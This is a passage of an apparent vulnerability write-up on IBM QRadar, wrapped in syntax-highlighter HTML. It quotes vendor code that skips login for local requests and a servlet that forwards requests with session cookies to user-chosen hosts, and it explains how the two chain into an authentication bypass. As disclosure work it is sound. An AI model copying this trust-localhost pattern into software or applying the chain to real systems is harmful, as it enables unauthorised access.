data-line=\"crayon-5b0c805d4c4f1060989971-6\">6<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c4f1060989971-7\">7<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c4f1060989971-8\">8<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\" style=\"font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;\">\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c4f1060989971-1\"><span class=\"crayon-cn\">1046<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-m\">public<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">function<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">LoginCurrentUser<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">remember<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">errorInfo<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c4f1060989971-2\"><span class=\"crayon-cn\">1047<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c4f1060989971-3\"><span class=\"crayon-cn\">1048<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-c\">\/\/if local server request don&#8217;t need to login the user<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c4f1060989971-4\"><span class=\"crayon-cn\">1049<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">_SERVER<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-s\">&#8216;REMOTE_ADDR&#8217;<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">==<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">_SERVER<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-s\">&#8216;SERVER_ADDR&#8217;<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c4f1060989971-5\"><span class=\"crayon-cn\">1050<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c4f1060989971-6\"><span class=\"crayon-cn\">1051<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-st\">return<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">true<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c4f1060989971-7\"><span class=\"crayon-cn\">1052<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c4f1060989971-8\"><span class=\"crayon-cn\">1053<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/table><\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0008 seconds] -->  <\/p>\n<p>Note that not having authentication for local requests is not necessarily a vulnerability, although it is a bad practice as it can lead to situations like we are going to describe.<\/p>\n<p>So how can we make requests seem like they come from localhost? Something as simple as changing the Host HTTP header will not work. Luckily, we can leverage ForensicAnalysisServlet doPassThrough() again. After the snippet shown in vulnerability #1, the function goes on to forward the request to the host address(es) entered in the forensicsManagedHostIps parameter:<\/p>\n<\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-5b0c805d4c4f4167483678\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> private void doPassThrough(HttpServletRequest request, HttpServletResponse response, String forensicsManagedHostIps, String solrDocIdsString, String actionParameterValue) throws IOException, ServletException {  &#8230;          if(!SEC.isEmpty() &amp;amp;&amp;amp; !QRadarCSRF.isEmpty()) {              if(this.SECCookiesMap.containsKey(SEC) &amp;amp;&amp;amp; this.QRadarCSRFCookiesMap.containsKey(QRadarCSRF)) {                  Map&amp;lt;String, String[]&amp;gt; parameterMap = request.getParameterMap();                  Iterator var42 = parameterMap.keySet().iterator();                    while(var42.hasNext()) {                      String parameterName = (String)var42.next();                      if(!parameterName.equals(&#8220;forensicsManagedHostIps&#8221;)) {                &lt;&#8212;&#8211; gets all parameters except forensicsManagedHostIps and adds them to the request                          requestBuilder.addParameter(parameterName, ((String[])parameterMap.get(parameterName))[0]);                      }                  }                    requestBuilder.addHeader(&#8220;Cookie&#8221;, &#8220;SEC=&#8221; + SEC + &#8220;; &#8221; + &#8220;QRadarCSRF&#8221; + &#8220;=&#8221; + QRadarCSRF);                  timeout = this.connectionTimeout;                  Builder requestConfigBuilder = RequestConfig.custom();                  requestConfigBuilder = requestConfigBuilder.setConnectTimeout(timeout);                  requestConfigBuilder = requestConfigBuilder.setConnectionRequestTimeout(timeout);                  requestConfigBuilder = requestConfigBuilder.setSocketTimeout(timeout);                  this.QrifHttpClientBuilder.setDefaultRequestConfig(requestConfigBuilder.build());                  HttpClient httpClient = this.QrifHttpClientBuilder.build();                  int status = 0;                  String[] forensicsManagedHostIpsArray = forensicsManagedHostIps.split(&#8220;,&#8221;);        &lt;&#8212; parses forensicsManagedHostIps string                  String fileName = &#8220;&#8221; + request.getParameter(&#8220;fileName&#8221;);                  String requestResponseHash = &#8220;&#8221; + request.getParameter(&#8220;responseHashValue&#8221;);                  if(this.forensicsResponseHashForensicsManagedHostIpsMap.containsKey(requestResponseHash)) {                      forensicsManagedHostIpsArray = new String[]{(String)this.forensicsResponseHashForensicsManagedHostIpsMap.get(requestResponseHash)};                  } else if(!actionParameterValue.matches(&#8220;do.*Analysis&#8221;)) {                      if(this.forensicsDocForensicsManagedHostIpMap.containsKey(solrDocIdsString)) {                          forensicsManagedHostIpsArray = new String[]{(String)this.forensicsDocForensicsManagedHostIpMap.get(solrDocIdsString)};                      } else if(actionParameterValue.equals(&#8220;GetFile&#8221;) &amp;amp;&amp;amp; this.forensicsDocForensicsManagedHostIpMap.containsKey(fileName)) {                          forensicsManagedHostIpsArray = new String[]{(String)this.forensicsDocForensicsManagedHostIpMap.get(fileName)};                      }                  }                    String[] var21 = forensicsManagedHostIpsArray;                  int var22 = forensicsManagedHostIpsArray.length;                    for(int var23 = 0; var23 &amp;lt; var22; ++var23) {                      String forensicsManagedHostIp = var21[var23];                      if(!forensicsManagedHostIp.isEmpty()) {                         &lt;&#8212;- for each host address in forensicsManagedHostIps, sends one request                          requestBuilder.setUri(&#8220;https:\/\/&#8221; + forensicsManagedHostIp + &#8220;\/ForensicsAnalysisServlet\/&#8221;);                          String[] forensicsManagedHostSecurityTokens;  &#8230;                          HttpUriRequest httpUriRequest = requestBuilder.build();                          forensicsManagedHostSecurityTokens = null;                            HttpResponse httpResponse;                          try {                              httpResponse = httpClient.execute(httpUriRequest);<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">\n<table class=\"crayon-table\">\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums\" data-settings=\"show\">\n<div class=\"crayon-nums-content\" style=\"font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c4f4167483678-1\">1<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c4f4167483678-2\">2<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c4f4167483678-3\">3<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c4f4167483678-4\">4<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c4f4167483678-5\">5<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c4f4167483678-6\">6<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c4f4167483678-7\">7<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c4f4167483678-8\">8<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c4f4167483678-9\">9<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c4f4167483678-10\">10<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c4f4167483678-11\">11<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c4f4167483678-12\">12<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c4f4167483678-13\">13<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c4f4167483678-14\">14<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c4f4167483678-15\">15<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c4f4167483678-16\">16<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c4f4167483678-17\">17<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c4f4167483678-18\">18<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c4f4167483678-19\">19<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c4f4167483678-20\">20<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c4f4167483678-21\">21<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c4f4167483678-22\">22<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c4f4167483678-23\">23<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c4f4167483678-24\">24<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c4f4167483678-25\">25<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c4f4167483678-26\">26<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c4f4167483678-27\">27<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c4f4167483678-28\">28<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c4f4167483678-29\">29<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c4f4167483678-30\">30<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c4f4167483678-31\">31<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c4f4167483678-32\">32<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c4f4167483678-33\">33<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c4f4167483678-34\">34<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c4f4167483678-35\">35<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c4f4167483678-36\">36<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c4f4167483678-37\">37<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c4f4167483678-38\">38<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c4f4167483678-39\">39<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c4f4167483678-40\">40<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c4f4167483678-41\">41<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c4f4167483678-42\">42<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c4f4167483678-43\">43<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c4f4167483678-44\">44<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c4f4167483678-45\">45<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c4f4167483678-46\">46<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c4f4167483678-47\">47<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c4f4167483678-48\">48<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c4f4167483678-49\">49<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c4f4167483678-50\">50<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c4f4167483678-51\">51<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\" style=\"font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;\">\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c4f4167483678-1\"><span class=\"crayon-m\">private<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">void<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">doPassThrough<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">HttpServletRequest <\/span><span class=\"crayon-v\">request<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">HttpServletResponse <\/span><span class=\"crayon-v\">response<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">String<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">forensicsManagedHostIps<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">String<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">solrDocIdsString<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">String<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">actionParameterValue<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">throws <\/span><span class=\"crayon-v\">IOException<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">ServletException<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c4f4167483678-2\"><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">.<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c4f4167483678-3\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">!<\/span><span class=\"crayon-v\">SEC<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">isEmpty<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">amp<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">amp<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">!<\/span><span class=\"crayon-v\">QRadarCSRF<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">isEmpty<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c4f4167483678-4\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-r\">this<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">SECCookiesMap<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">containsKey<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">SEC<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">amp<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">amp<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-r\">this<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">QRadarCSRFCookiesMap<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">containsKey<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">QRadarCSRF<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c4f4167483678-5\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">Map<\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">lt<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-t\">String<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">String<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">gt<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">parameterMap<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">request<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">getParameterMap<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c4f4167483678-6\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">Iterator <\/span><span class=\"crayon-v\">var42<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">parameterMap<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">keySet<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">iterator<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c4f4167483678-7\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c4f4167483678-8\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">while<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">var42<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">hasNext<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c4f4167483678-9\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-t\">String<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">parameterName<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-t\">String<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-v\">var42<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">next<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c4f4167483678-10\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">!<\/span><span class=\"crayon-v\">parameterName<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">equals<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;forensicsManagedHostIps&#8221;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">gets <\/span><span class=\"crayon-e\">all <\/span><span class=\"crayon-e\">parameters <\/span><span class=\"crayon-e\">except <\/span><span class=\"crayon-e\">forensicsManagedHostIps <\/span><span class=\"crayon-st\">and<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">adds <\/span><span class=\"crayon-e\">them <\/span><span class=\"crayon-st\">to<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">the <\/span><span class=\"crayon-e\">request<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c4f4167483678-11\"><span class=\"crayon-e\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">requestBuilder<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">addParameter<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">parameterName<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-t\">String<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-v\">parameterMap<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">get<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">parameterName<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c4f4167483678-12\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c4f4167483678-13\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c4f4167483678-14\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c4f4167483678-15\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">requestBuilder<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">addHeader<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;Cookie&#8221;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;SEC=&#8221;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">SEC<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;; &#8220;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;QRadarCSRF&#8221;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;=&#8221;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">QRadarCSRF<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c4f4167483678-16\"><span 